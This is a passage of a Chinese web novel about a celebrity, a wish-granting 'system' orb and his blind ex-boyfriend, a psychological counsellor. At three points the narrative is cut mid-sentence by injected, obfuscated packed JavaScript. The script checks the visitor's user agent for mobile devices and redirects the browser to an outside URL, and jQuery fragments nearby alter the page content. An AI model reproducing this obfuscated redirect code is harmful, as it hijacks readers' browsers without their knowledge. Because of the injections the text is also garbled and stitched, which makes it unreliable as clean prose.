【2026年初,沪市某心理诊所发生了一起性质极其恶劣的恶性伤人事件。 行凶者张建华因女儿割腕自杀,将所有责任归咎于将其诊断为抑郁症的心理医生身上,继而产生了非常极端的报复心理。 在女儿不治身亡之后,他持刀闯入正在工作的心理诊所,意图让这些人付出代价。 众人惊慌失措,四散奔逃。 可就在他追砍当初接待她女儿的前台接待员时,居然有一个长相俊秀的盲人心理咨询师在听见声音以后站出来保护对方,他一怒之下用力挥刀,重重砍下,用这种方式来发泄自己内心的痛苦与不忿。 那位盲人心理咨询师身中数刀,被砍得血肉模糊,直到彻底失去心跳,都没有松开护着前台接待员女孩的手。 只不过这件事在最初并没有在互联网引起大范围的关注以及传播,直到那名被同事保护得安然无恙的女接待员忍不住在网上发了一条微博。 微博并没有长篇大论地斥责凶手,也没有撕心裂肺地表达悲伤,她只是原原本本讲述了这件事的始末,然后花了很长的笔墨来告诉大家,保护她那位盲人心理咨询师是一个多么多么善良,多么多么美好的人。 最后的最后,微博里说:我实在不知道该怎么偿还,也知道可能永远都无法偿还,但我真的很想为他做点什么。 她说,陶医生没有家人,除了他们这些同事之外也没有多少朋友,但他有一个非常非常喜欢的明星,喜欢到手机永远是他的壁纸,看的一直是他演的电视,就连平常耳机里会听的歌,都是他参加节目时唱过的live。 她鼓起勇气艾特了戚驰舟,说假如戚驰舟能看到这条微博,能不能记得陶医生的名字,记得他的故事,记得曾经有一个粉丝,哪怕眼睛从来都看不见,依然非常认真地喜欢了他很长很长时间。 谁都没想到这条微博发出以后,只用了四个小时,就直接被顶上热搜。 一个只有二十七个关注,转赞评不到一百的微博账号,居然在短短四个小时之内,获得了超百万的评论转发。 有看完这起恶性伤人事件感到无比痛心和悲愤的, 有控制不住眼泪在评论区狂骂凶手的。 有跟队形点蜡烛刷“陶医生一路走好”的。 还有很多很多帮忙艾特戚驰舟的。 说自己这里有很多戚驰舟的周边、签名,问女接待员能不能给个地址的。 众人协力,聚沙成塔,集腋成裘,硬生生将这条微博送出了圈,只为让这位见义勇为付出生命的盲人心理咨询师能获得最后一个圆满。 但事实上,因为团队有工作人员每天都在互联网即时进行相关舆情监控的原因,这件事传到戚驰舟耳朵里的速度,远比大家想象中要快许多。 “——驰哥!” 当时戚驰舟正在工作,文朔接到消息以后立刻跑过来叫了他的名字,因为喊声响亮而又突兀,在场所有人都朝文朔望去。 戚驰舟也闻声回头。 见文朔脸上的表情跟平时有着极其明显的不同,他微微皱了皱眉,还是偏头跟工作人员说了暂停,走过去问文朔什么情况。 “驰哥你快看!”文朔将手机递给戚驰舟:“公关部门的同事刚刚转发了一条微博过来,上面说你——” 已经连续对着大灯拍了近五个小时,戚驰舟眼睛发干发涩,只当是自己又多了什么乱七八糟的黑料,不太想看,干脆把手机推开,直接让文朔给他复述:“挑重点的说就行了。” 文朔也没勉强,用很快的语速三言两语将这条微博的内容概括一遍:“就是差点跟月姐谈恋爱那个陈医生的诊所,月姐的意思是让你亲自在这条微博下面回复一下,我们再配合捐......不是,驰哥你去哪儿?” 听完这件事情的经过以及原委,得知自己有个眼睛看不见的粉丝为了保护同事,死在恶意伤人的患者家属刀下,戚驰舟拧着眉头,几乎连想都没想,就决定亲自去送对方一程。 文朔显然没料到戚驰舟会做出这种决定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147180|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了下道:“那今天的拍摄该怎么办?” “改期。”戚驰舟头也不回地朝杂志社主编的方向走去,预备自己去和他说明情况,并承担改期所带来的一切损失,同时干脆利落地吩咐刚迎上来的乔昕去订机票。 “对了,能低调就尽量低调,跟伍月那边也说了一声,不要拿这件事来炒作。”在离开摄影棚时,戚驰舟皱着眉头又补了一句。 已经知道发生什么的乔昕立刻点头:“我知道,驰哥放心!” 文朔也忍不住“嗯”了一声,跟在戚驰舟身后对乔昕小声道:“要是知道驰哥要亲自送他一程,陶医生肯定会很高兴的。” 戚驰舟原本已经准备上车。 在从文朔口中听到“陶医生”这三个字时,脚步却蓦地顿了一下,条件反射般回过了头。 事实上,陶这个姓根本不算罕见。 那个为了救人而英勇牺牲的盲人医生,跟他藏在心里久久不能释怀的那个人也完全挂不上号。 可不知道是习惯成自然的原因,还是那天莫名其妙多了一丝预感的原因,戚驰舟听见自己问:“你刚才说什么?” “那个医生叫什么?” 文朔不明就里,跟乔昕对视一眼,然后望向戚驰舟道:“......陶医生啊,好像是叫陶与乐。” 当时戚驰舟脑子里“嗡”地一声。 ...... 后来,用最短时间从京市飞回沪市的戚驰舟终于知道,原来陶与乐当初要和他分手,从来都不是因为他想跟妈妈在一起生活,而是突然检查出眼底病变,而病情来势汹汹,恶化得猝不及防,视力没过多久就极速下降。 他知道自己将要变成一个瞎子,才狠心和他分手。 原来陶与乐一直都生活在离他很近很近的地方,只是因为各种各样的原因,他们不停在擦肩而过。 什么叫痛? 痛是他咬牙切齿,恨来恨去,最终恨成了一个笑话。 痛是他终于找到他了,听见的却是他的死讯,看见的却是他的尸体。 戚驰舟控制不住将拳头攥的嘎吱作响,喉间一片腥甜。 他还记得自己当初回国进入娱乐圈,之所以想站在最显眼,最明亮的聚光灯下,是因为想无孔不入地让陶与乐无论藏在哪里都能看到,也逼他看到。 可原来—— 原来他做的所有一切都是徒劳。 原来陶与乐早就看不到了。】 此时此刻,又重温了一遍原著的003再一次悲从中来,被虐到怀疑人生。 它实在不理解这个世上怎么会有如此狠心的缺德作者,简直是心狠手辣,简直是丧尽天良! 眼看着现如今一切都来得及,长着两个翅膀的金属光球发出呜呜的声音,拼命尝试想解开时空监察长下给它的禁言令。 然而,无论003怎么努力,始终没办法正常说话。 各种乱七八糟叽里咕噜的声音不绝于耳,戚驰舟原本就不多的耐心几乎已经告罄。 理智告诉他,他不应该再跟这个不知道从何而来,看起来智商不高的光球浪费时间,这样会显得他也非常愚蠢。 可看着003好像非常难过非常悲伤的表情,戚驰舟的腿就无论如何都迈不动了。 所以,面前这个光球在接触不良,发不出正常声音之前说了什么? ——呜呜呜,那是因为他当时突然看不见了! 还是那句话。 这个“他”是谁? 谁看不见了? 人的思维存在盲区,某些念头,因为从未朝那个方向去想,所以默认它不会发生。 可假如呢? 万一呢? 不知为何,戚驰舟在这一刻竟然想到了一个绝对不可能的人,也产生了一个极其荒谬的想法。 这个想法令他浑身的血液都有点发凉,连心脏都好像被一只冰冷的手给攥紧。 戚驰舟张了张口,意识到眼前这个长着翅膀又突然丧失正常语言能力的光球大概没办法给他任何答案。 然而就在他告诉自己不可能,怎么可能,绝不可能的时候,脑海中突然又想起今天晚上听过的另外一段对话。 “他们那个诊所还真有一个刚毕业的心理咨询师。” “是个盲人。” “笑起来特别好看。” ...... 戚驰舟心头重重一跳。 顾不上仍然漂浮在空中跟自己较劲的003号,他一边觉得自己疯了,一边像阵风似的朝外面走,同时拿出手机解锁,像寻求心理安慰一般,快速给伍月发去微信。 戚驰舟:你说长得好看的那个心理医生。 戚驰舟:他叫什么名字。 戚驰舟:照片发我。 4. 重逢 伍月到家的时间比戚驰舟晚了半个小时。 虽然已经接近十二点钟,但她换上拖鞋以后,还是把手机扔在沙发上,走到酒柜前去给自己开了瓶酒。 不为别的,实在是今天在车上提到的那段刚刚戛然而止的恋情,勾起了她一丁点儿尚未消弭的遗憾。 陈觉其实非常符合伍月对另一半的要求,无奈他们对未来的展望却截然不同,对方希望一家三口,幸福美满,而她却倾向丁克。 出现了这种分歧,谁让步都不公平,所以提前结束非常正常。 成年人都擅长及时止损。 更何况,她不仅拥有蒸蒸日上,值得倾注全部心血的事业,银行卡里还有很多很多的钱,实在没必要为了一段注定没结果的感情耿耿于怀。 于是,伍月站在外阳台上,姿态潇洒地冲对面的黄浦江举了举杯,决定喝完这杯酒,就彻底跟过去拜拜。 就在这个时候,她突然听见门铃的声音。 这么晚了,伍月先是被吓了一跳,然后第一反应想到的便是陈觉。 毕竟之前结束约会,不再深入接触的话是她先提的,也没有给对方挽留的机会,紧跟着就飞去剧组探班,半个月以来忙到脚不沾地。 可陈觉如果看到今天热搜,大概率就知道她已经陪着戚驰舟一起回来,那么...... 走到客厅的时候伍月还有些犹豫地想着一会儿见了面该说什么,然而把门打开的瞬间,看见站在门口的人,她瞪大眼睛,到了嘴边的话立刻转弯:“你......你怎么来了?!” 迟迟没有收到伍月回复,干脆直接下楼,一路驱车赶到这里的戚驰舟顿了一下:“刚才打电话你没接。” “什么事这么着急?”伍月转身让戚驰舟进来,同时走到沙发前去拿手机,看到屏幕上一连串的未接电话,哭笑不得道:“我天,你该不会是以为我出事了——” 只不过没等她把话说完,戚驰舟就已经强行打断她道:“你今天说的那个盲人心理咨询师。” “他叫什么名字?还有那张照片......我想看看。” “......”伍月怔了一下,整个人莫名其妙:“你给我打电话,就是为了这事啊?” 戚驰舟“嗯”了一声。 003那句话虽然没头没尾,后续引发的联想却来势汹汹,戚驰舟觉得自己身体里好像有一根弦在顷刻间绷到极致。 因此,他非常希望在伍月这里能狠狠扑一个空,好打消这种无端的,荒唐的,可笑的念头。 “他叫什么名字我不知道......一面之缘而已,”伍月不知道戚驰舟心里在想什么,还是纳闷:“倒是你,怎么突然对一个陌生人这么感兴趣了,你们认识?” “不认识。” 戚驰舟面无表情地胡说八道:“就是你们说的太夸张了,所以我想看看。” “......” 伍月突然想起去年有个姓陶的年轻爱豆,校草出身,因为铺天盖地的营销一夜蹿红,再加上那张脸在高P以后确实好看,被粉丝吹成神颜,第二天工作室好几个年轻女孩都在讨论这事。 戚驰舟当时的反应好像也特别大。 直到看过对方的照片以后才放松下来,然后又好像心里有个参照物似的,非常严格地评价:“——没到神颜的地步。” 这会儿,伍月忍不住冲他翻了一个白眼,心道这位祖宗是准备当什么颜值评委吗? 关键反射弧还这么长。 但是看在戚驰舟今天晚上这么关心她这个经纪人的份上,还是打开相册把之前拍的那张照片给翻出来,“喏,自己看......不过你这一路上没被狗仔跟吧?虽然你住的小区还算私密,也架不住那群狗仔一天到晚追在屁股后面不放。” 伍月是真怕过段时间哪个不做人的营销号为博眼球,再放出一条#顶流深夜出门,疑似夜生活丰富#的虚假新闻,想叮嘱戚驰舟哪怕过年休息的这段时间也要稍微注意一点。 结果她这话只说了一半,抬头看见戚驰舟的表情,倏地没了声音。 不为别的。 因为她发现戚驰舟在看见照片以后好像整个人都是一震。 那张平时总是高冷疏离,看不出多少情绪的脸上竟然明显地呈现出一刻空白。 这种空白硬生生持续了近两分钟。 直到伍月忍不住开口想问他什么情况,戚驰舟的喉结才蓦地滚了滚,重新望向伍月,用非常平静的声音问:“——你说他看不见了?” 这句话说的就很奇怪。 应该是“看不见”而不是“看不见了”。 但或许是戚驰舟的表情和语气都跟以往不同,伍月哪怕意识到不对,也没有在这个当口说任何多余的话,看着他有些迟疑地点了点头,“是啊。” “他看起来这么正常,怎么会是个瞎子?” “......” “我也不知道。”伍月脑海中不自觉回忆起自己当初看到这个心理咨询师的情形,因为对方的长相和他手中的盲杖都过于醒目,她忍不住多看了两眼,在上车后也问了陈觉,陈觉告诉她:“那是我们所的心理咨询师,刚转正没多久,大家都喜欢他......据说当初是视网膜出了问题,所以从外观上看不出来。” 伍月当即就觉得非常可惜,陈觉也点了点头,说是啊,不仅如此,后天残疾带来的冲击与痛苦远比先天更大,也不知道他这一路是怎么熬过来的。 视网膜出了问题。 后天眼盲。 听完这些话的戚驰舟再一次点了点头,在静了半晌之后转身就走。 走到一半很快又掉头回来,重新把伍月的手机给拿过来,将顶端碰到一起,选择隔空投送,把那张其实有点虚焦,还只有半张侧脸的照片发到自己手机。 补了句“我先走了,你少喝点酒,早点休息”然后离开。 “哎戚——” 伍月看着他像一阵风似的来,又像一阵风似的走,不由得皱起眉头,有那么一个瞬间,想打电话给陈觉,深入打探一下这个盲人心理咨询师的过去,但拿起手机最终还是锁屏。 而另外一边,戚驰舟下楼,扣上安全带发动汽车,随着一脚油门踩下,黑色大型SUV顺着弯道驶出,很快就从地下车库转入主路。 凌晨这个时间段,马路上的车流其实不算很多。 他只需要像来的时候一样原路返回,就可以在最短的时间之内到家。 可戚驰舟握着方向盘的指骨泛白,在某个瞬间忽然有些无法呼吸,一共只开了五百米不到,就在下一个路口靠边停下。 短暂地闭了一下眼睛,又没什么表情地睁开。 戚驰舟望向一直跟在他身边,其他人却好像根本看不到的003号,问:“陶与乐是什么时候开始看不见的?” 没想到它什么忙都还没有帮上,戚驰舟就已经靠自己找到了陶与乐的下落,003嗖地一下飞到他面前,一边用翅膀抹掉眼泪一边呜呜呜道:“当然是跟你分手的时候,那时候他就已经知道自己快看不见了......监察长给我下了禁言令,幸亏宿主你很聪明......” 根本不知道这个光球叽里咕噜在说些什么,戚驰舟扯了扯嘴角,也不知道是在问它还是在问自己:“他当初跟我分手,是因为这件事吗?” 所以好端端在家都会摔跤,磕到鼻青脸肿,还跟他说是因为走神没有看路。 所以那段时间打视频时,陶与乐的目光总是如饥似渴地停留在他脸上,而他却还在心里暗爽,端着架子故意问对方:陶与乐,你就这么喜欢我啊? 所以当他们在电话里不欢而散之后,哪怕戚驰舟用了最快的速度回国,那个曾经那么喜欢他,那么舍不得他的陶与乐还是连夜搬走,并且将他社交软件全部拉黑,连句话都没留,消失得无影无踪。 ...... 六年前发生的一切在戚驰舟脑海中重新浮现,他忽然发现,有很多细节,如果代入陶与乐看不见了这个前提,居然是比他想跟妈妈在一起生活所以躲着他更合理的。 ——陶与乐看不见了。 结合今天突然浮出水面这些科学的,不科学的线索,戚驰舟在这一刻终于意识到六年前他极有可能因为粗心、迟钝和愚蠢,错过了非常非常重要的事。 要真是他想的这样。 要真是这样..... “宿主,你千万不要这样想啊!”敏锐察觉到戚驰舟状态不对的003连忙开口:“当时你们离那么远,他又无论如何都不想让你知道......当初大家各有难处,现在这个情况谁都不想,也都谁不怪呜呜呜。” 戚驰舟闭了闭眼。 他只花了一分钟时间,强行让自己冷静下来。 毫无疑问,陶与乐在他不知道的时候变成了一个瞎子,这件事令戚驰舟感到难以言喻的茫然与刺痛。 他甚至到这一刻都难以置信,连带着一颗心像被捅个对穿。 戚驰舟不知道这一切究竟怎么回事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戚驰舟问:“你觉得我身心健康?” 文朔:“主要是......” 戚驰舟看他一眼,冷淡且强硬地道:“我说需要就需要。” “今天这件事办好了,这个月五倍工资,从我私人账户里出,就当是给你多出来的年终奖。” 戚驰舟对大家向来都很大方,更何况这也不是钱不钱的事,文朔还想再说点什么,却发现戚驰舟突然越过他往前走了一步,然后整个人定在原地。 他下意识顺着戚驰舟看的方向望去,先是觉得眼熟,然后脱口而出道:“这不是伍月姐昨天给我们看的那个心理咨询师吗?他本人好像比照片还好看啊……不对,那这岂不是陈医生工作的地方?” 戚驰舟听见了文朔的话。 但此时此刻,他全部的注意力都放在皮肤素白,头发乌黑,穿着卡其色风衣,手持盲杖一步步朝不远处那栋三层小楼走去的人影身上。 要知道这是一条临街的路,路面算不上特别平坦,人行道上有些地砖微微隆起,有些地砖微微凹陷,正中间盲道的铺设更加不算连续,时不时被会门口的坡道或公交站台打断。 可这个人走得很稳。 哪怕速度很慢,动作有些谨慎,只依靠一根盲杖,依然能准确地避开障碍。 偶尔有路过的人回头看他,目光停留在他用杖尖点地的动作和那双没有焦点的眼睛上面,等看完以后,再扭头低声跟身边的人说几句话,不知道究竟是好奇还是可惜。 戚驰舟也紧紧盯着那人,盯着那张他已经六年没有见过,好像变了很多,却好像什么都没变的脸,心脏在这一刻传来极其清晰的,明显的钝痛,夹杂着另外一种说不清道不明的情绪,绵延不绝。 戴着帽子口罩,看不清戚驰舟的表情,但察觉到他的状态明显不对,文朔叫了一声驰哥:“你怎么了?这个心理咨询师……你们认识?” 直到陶与乐稳稳当当走进心理咨询中心,消失不见,戚驰舟才终于将那种恨不得想吃人的视线收回。 他“嗯”了一声告诉文朔:“我前男友。” “前——”文朔差点被突然吹过来的一阵冷风呛死,紧跟着又听见戚驰舟说: “去干活吧,就约他的时间,我今天就要看上。” 5. 咨询 对于陶与乐来说,今天跟平常并没有太大区别。 他早上七点起床,正常洗漱,换好衣服,盛起提前用电饭煲定时煮好的粥,再重新刷牙,带齐东西,拿好盲杖出门。 这几天气温略有回暖,风吹在脸上不再像刀子一样,陶与乐很喜欢像现在这样的冬天。 一路上他没有遇到太多障碍物,也没有发生任何摔倒或者磕碰,非常顺利地在九点钟上班之前,抵达了他工作的心理咨询中心。 当感应的玻璃门朝两侧自动打开,坐在前台的接待员嘉禾立刻向他打招呼,非常热情道:“陶医生早上好啊。” 陶与乐也弯了弯眼睛,朝着声音传来的方向点头:“早上好。” “加上之前已经确定的,今天你一共有六个预约哦,上午两个,下午四个,”哪怕知道陶与乐什么都看不见,嘉禾还是忍不住冲他眨了眨眼:“时间都排满啦!” “这么多?”陶与乐难得有些吃惊。 “对啊,吴医生和陈医生他们前段时间不是去大学里面搞讲座吗,不知道是谁把视频发网上了,咱们官方账号涨了好多关注,所以最近每天过来咨询的人可多了,排都排不过来呢。” 不过嘉禾没说的是,作为前台接待人员,通过电话或线上接到咨询,了解完初步情况,确认对方对咨询师没有特殊要求和偏好以后,她给这些人推荐最多的,全部的都是陶与乐。 不为别的,一直以来,因为眼睛看不见的缘故,有很多人在一开始都会对陶与乐的专业能力持有怀疑态度,愿意信任他的人并不算多。 可嘉禾看在眼里,她知道陶与乐有多么努力,多么尽责。 哪怕来访者并不算多,但根据后期的问卷以及回访来看,只要是选了陶与乐的,就没有对他不满意的。 因此,嘉禾出于某些私心,想让陶与乐越来越好。 但就算她没有说,陶与乐也大概能感受到这份善意。 无非是希望他能少坐点冷板凳,希望有越来越多的人信任他,选择他。 坦白讲,陶与乐自己其实并不心急,毕竟他才刚刚转正没有多久,再加上残疾人的身份,大部分人有所顾虑实在是人之常情。 不过心里这样想着,他还是“望”向前台所在的方向,对嘉禾说:“那要不庆祝一下,下午我请大家喝下午茶?” “真的?那我要点——” 嘉禾的话还没有说完,自动感应的玻璃门就再次打开,看到一对夫妻从外面进来,她立刻转换话头,礼貌冲对方道:“您好,请问是预约了心理咨询的吗?” “是,前天约的,今天上午九点半。”女人率先开口替丈夫回答,嘉禾点了点头,在核对完姓名和手机号以后立刻望向陶与乐说:“陶医生,是你的客户。” “资料昨天已经发过去了,那我现在先帮他们登记填表,一会儿带到你办公室去?” 陶与乐望着空气点了点头,拿起盲杖准备离开,然而脸色原本就不太好看,一直没有说话的男人看见他的动作,终于忍不住道:“等会儿,怎么是个瞎子?” 这话一出,嘉禾的表情瞬间僵在脸上,然后第一时间望向陶与乐,有些担心。 “别乱说话!”同行的女人一把按住丈夫抬起的手,低声道:“什么瞎子,你有没有一点礼貌?人家是有正经从业资格证的专业心理咨询师!” “看不见不就是个瞎子?” 男人这一趟来的本就不情不愿,此刻那种质疑与不满的情绪更是到达顶峰,他冲着妻子直接道:“我发现你是不是疯了?” “我都说了我没病我没病,你非要让我来看什么心理医生,花那么多钱也就算了,结果找的人是个瞎子?你知不知道现在赚钱有多不容——” “我知道!”女人忍不住打断他道:“可你连续几个月凌晨四五点起来抽烟也是正常?对女儿发脾气直接把平板电脑摔了也是正常?我都已经跟你解释过很多次了,不是来看心理医生的都是病人,但你现在这个状态是真的很不健康。” “来都来了,咱们就跟心理医生好好聊聊,不行吗?” “一个小时三百块钱,”男人说:“找一个眼睛看不见的人聊?” 见这两人争执不下,站在前台的嘉禾也很尴尬,一时间不知道该如何是好:“那......” “那什么那?今天就不该请假跑这一趟!就算我真有什么焦虑症,也不可能把钱浪费在一个瞎子身上。” 说完,男人转身就走,女人只来得及说出一个“你”字,就看到他的背影消失在自己眼前,不得不甩下一句“抱歉”,然后红着眼睛急匆匆追了出去。 于是,前台很快就只剩下嘉禾和陶与乐两个。 在一片令人窒息的寂静当中,她忍不住望向陶与乐,低声道:“陶医生对不起啊。” “你的情况我之前真的在电话里跟他老婆说过,是她说了没问题我才在系统里安排时间的,我没想到......” “没关系。”陶与乐笑了笑,语气跟平时没有任何区别:“后面不是还有五个人吗,他不看——” “他不看我们看!” “空出来的档期能不能现场预约?” 没等陶与乐把话说完,一道声音突然插了进来,陶与乐愣了一下,下意识往声音传来的方向“望”去,嘉禾也抬起眼睛。 而刚刚从外面听到两夫妻吵架,后悔自己来迟一步的戚驰舟站在门口,隔着两米的距离,跟陶与乐隔空对视。 他看见陶与乐微微睁大的眼睛,看见他没有焦点的瞳仁,看见他根根分明的睫毛在脸上落下一小片扇形阴影,看见他在岁月的打磨下,褪去戚驰舟熟悉的很多痕迹,变成一个安静的,温和的,看起来成熟体面的人。 戚驰舟说不清这一刻自己究竟是什么心情。 幸好陶与乐现在什么都看不见,他的目光能毫不掩饰,直勾勾地落在他的脸上。 嘉禾完全没注意到这点,只觉得这个戴着帽子口罩,完全看不清脸的男人个子好高,气质也很特殊,还有点说不清道不明的眼熟,不知道在哪里见过。 但她怕不礼貌就没好意思多看,收回目光以后连忙望向刚刚开口的文朔:“您、您好,您刚才是说要预约我们这边的心理咨询吗?” “嗯,没错。” 文朔咳了一声,严格按照戚驰舟交代他的话道:“是这样的,因为在网上看到陶医生的口碑很好,所以特地慕名而来,要是他有空余的档期,能不能现场预约?” “当然可以!”嘉禾瞬间来了精神,“那我现在就帮您登记!” “陶医生,就约九点半的时间,你看行吗?” “好。”陶与乐笑着点了点头。 事实上,他并不相信“慕名而来”的这种说辞,但猜测这位声音年轻的来访者大概是看见了刚才发生的那场闹剧,特意替自己解围来的,不由得升起一丝难以言喻的感激。 “那你先去办公室,”嘉禾积极道:“一会儿这边登记完了,我马上把人给你带过去。” 陶与乐“嗯”了一声。 只不过在转身离开时,不自觉朝空气中某个方向看了一眼,总觉得似乎有道存在感极强的视线正落在他的身上,沉甸甸的。 当那双没有焦点的眼睛看来,他们再次对视,戚驰舟深吸口气,有那么一个瞬间,真的很想直接叫出陶与乐的名字,看看他脸上会出现什么表情。 ——所幸,一共就只有一秒。 陶与乐离开以后,文朔忍不住回头,悄悄瞥了一眼自己全副武装,状态跟平时截然不同的老板,内心无比纠结。 直到对上戚驰舟顷刻间又切换回平静冷淡的眼神,才立刻回过神来,压低声音对准备给他们倒水的嘉禾说:“那什么,我们这边还有个特殊情况......” * 十五分钟以后,拿着几张A4纸的嘉禾敲开了陶与乐办公室的门,陶与乐应声抬头,“资料都填好了?” “填好了,就是......”嘉禾犹豫了一下:“来访者说自己心理上没有什么问题,只是最近发生了一件他从未想过的事,导致心情极差,难以排解,再加上生病喉咙发炎,不太愿意说话,让我问问能不能用文字的形式来跟你沟通。” “不太愿意说话?” “是的,”嘉禾想了想,有些夸张地补充道:“而且他们刚才直接付了十倍的咨询费,把我都吓了一大跳呢,真是财大气粗。” 十倍咨询费? 陶与乐先是愣了一下,然后不自觉皱起眉头。 要知道他现在一个小时的咨询费是三百块钱,在市面上属于比较合理的入门费用,可就算基础价格不高,乘以十也直接成了天价。 目前有哪个心理咨询师敢收这个价格?恐怕只有那些全国知名的顶尖专家或者行业泰斗才能有这种资格。 眼看陶与乐的表情不对,嘉禾连忙打断他道:“陶医生你可千万别拒绝啊!他们说了,主要是因为提出来的条件比较苛刻,所以今天不论找哪个心理医生,咨询费全部都是十倍。” “......” 不愿意说话,想要以文字的形式沟通,这个条件很苛刻吗? 对于普通人来说或许是有些奇怪,但在心理医生看来,其实并不算特别罕见的事,陶与乐就曾经碰见过类似案例。 当时有个十几岁的女孩,被父母带着来看心理医生,却无论如何都不肯开口,什么话都不愿说。 为了引导她,陶与乐先是主动说出了自己的眼睛问题,告诉她,他什么都看不见,所以在他面前不用紧张,她很安全。 然后引导她如果不想说话的话,可以通过手机打字来和他交流,就像在线上跟网友聊天一样,最后,那女孩果然产生了些许动摇,不再抗拒和他沟通。 只不过,陶与乐忽然想到什么,“望”向嘉禾所在的方向,轻声问:“你意思是,刚刚在前台的,不止一个人吗?” “嗯嗯,”嘉禾说:“之前说话的是一个人,真正预约咨询的是另一个人。” 虽然完全没看清戚驰舟到底长什么样,她还是凭自己的直觉补了一句:“一个超级大帅哥哦!” 陶与乐忍不住笑了一声。 他并不关心什么超级大帅哥,只是对那十倍的心理咨询费受之有愧。 听嘉禾简单介绍完填好的症状自评表和基础生活问卷以后,陶与乐点了点头,示意她可以把人带过来了:“那一会儿就直接用蓝牙连接我的盲文点显器吧,只是这个阅读的速度会有些慢,看来访者介不介意。” “陶医生放心,这些事我已经提前沟通过了,他们说没问题。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147182|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陶与乐点了点头。 很快,嘉禾退出去没有多久,他便再次听见门“咔嗒”被打开的声音,一个人从外面走进来,紧跟着带来一阵散发着冬日凉意与古龙水香气的风。 “是文先生吗,您好。”陶与乐冲着声音传来的方向说:“坐在我对面的沙发上面就好。” 直接用文朔名字登记的戚驰舟没有说话,也没立刻坐下,反倒是率先环顾四周,望向这间心理咨询室的环境。 早在他来之前就已经上网搜过,这家心理咨询中心规模很大,专家很多,硬件软件在沪市都首屈一指。 也正是因为如此,像陶与乐这样刚入行的新人,也能拥有一间专属于自己的,宽敞明亮的独立咨询空间。 只是戚驰舟不知道,一个正常人突然失明变成瞎子,要咽下多少苦头,付出多大努力,才能看起来轻描淡写地走到今天。 微不可察地深吸口气。 就在戚驰舟准备收回视线的时候,余光却忽然注意到不远处办公桌上放着的某样东西,脚步蓦地一顿,整个人定在原地。 陶与乐不知道发生了什么,见迟迟没有回应,试探性叫他:“文先生?” 戚驰舟骤然回神。 喉结滚了两下,一时间不知道是该笑还是别的什么,然后在顷刻间恢复成与平常无异的样子,面无表情走到陶与乐的面前,在那个米白色沙发上面坐下,将帽子口罩摘下放到一边,正面望向他的眼睛。 听见沙发一沉,还有衣物摩擦发出的细碎声音,陶与乐露出一个很温和的笑容,冲着戚驰舟道:“我听接待员说,您来看心理咨询是因为近期发生了一件意想不到的事,让您觉得很难接受对吗?” 已经用手机蓝牙连接陶与乐手中那台盲文点显器的戚驰舟将两条腿随意岔开坐着,在屏幕上打了个“嗯”。 陶与乐这边即刻刷新出对应的盲文符号,在确认他说了什么之后,继续问:“也是这件事让您觉得呼吸困难,胃部疼痛的吗?” 戚驰舟盯着他的脸看了一会儿,再次动动手指打字:“嗯,还包括掌心发麻,神经紧绷,甚至控制不住想发脾气,但又不知道这个脾气到底该冲着谁去。” “方便问一下具体发生了什么事吗,”陶与乐说:“如果您愿意和我分享的话。” “......” 戚驰舟静了片刻,继续在手机上面输入:“在敞开心扉之前,是不是应该先建立信任?” “当然,”陶与乐点了点头:“不想先聊这个的话,我们可以说点别的。” 单方面跟陶与乐对视良久,无数种说不清道不明的情绪全部挤在心脏,戚驰舟靠在沙发上按手机:“其实我也不知道该说些什么。” “这是我第一次来做咨询,刚才外面那个是我助理。” “他觉得我好像完全不需要这个,但其实这些年来,我觉得很多事情都没有意思。” “获得的越多,这种感觉就越明显。” “不论是开心,惊喜,生气,满足,失落......全部都差点东西。” 触摸着指尖不断变化的盲文符号,陶与乐像之前一样,习惯性在脑海中勾勒这个来访者的画像。 大概率年轻英俊,家境优渥,事业有成。 但内心似乎有个填不满的空洞,成因未明。 然而还没等他完全梳理清楚,点显器上的字符再度发生变化,刚刚还在向他剖白自己的戚驰舟话锋一转,问他:“陶医生呢。” “我听前台的接待员说你是后天眼盲。” 戚驰舟字打得不快,像是刻意在配合盲文点显器的字符变化速度:“为什么会突然丧失视力?后天失去视力是一种什么感受?眼盲这些年,会不会过得很不容易?” 陶与乐触摸盲文的动作一顿,下意识抬眸,“望”向坐在他对面的人,冬日上午的阳光透过窗户,照在他半边侧脸上,衬得皮肤有种近乎透明的白。 当然,陶与乐并不知道这点。 他只是蓦地产生了一种说不清道不明的感觉。 不是被冒犯,也不是被唐突—— 事实上,这当然不是第一次有人在咨询过程中表达出对陶与乐眼睛的好奇。 但或许是因为今天坐在他对面的人全程都没有发声,无法判断语气,导致冷不丁听见这些,陶与乐竟然莫名怔了一下,忘记了接下来该如何反应。 他并没有向陌生人袒露自我的习惯。 但是对于一个专业的心理咨询师而言,适当的交换信息,有助于建立他与来访者之间的信任。 于是,在反应过来之后,陶与乐很轻地笑了一下,冲着空气说:“当初我的视网膜突然发生病变,视力急速下降,不到三个月就彻底变成了一个瞎子。” “不过还好,人的适应能力是很强的,接受以后就重新调整,慢慢地也就不觉得有什么了。” 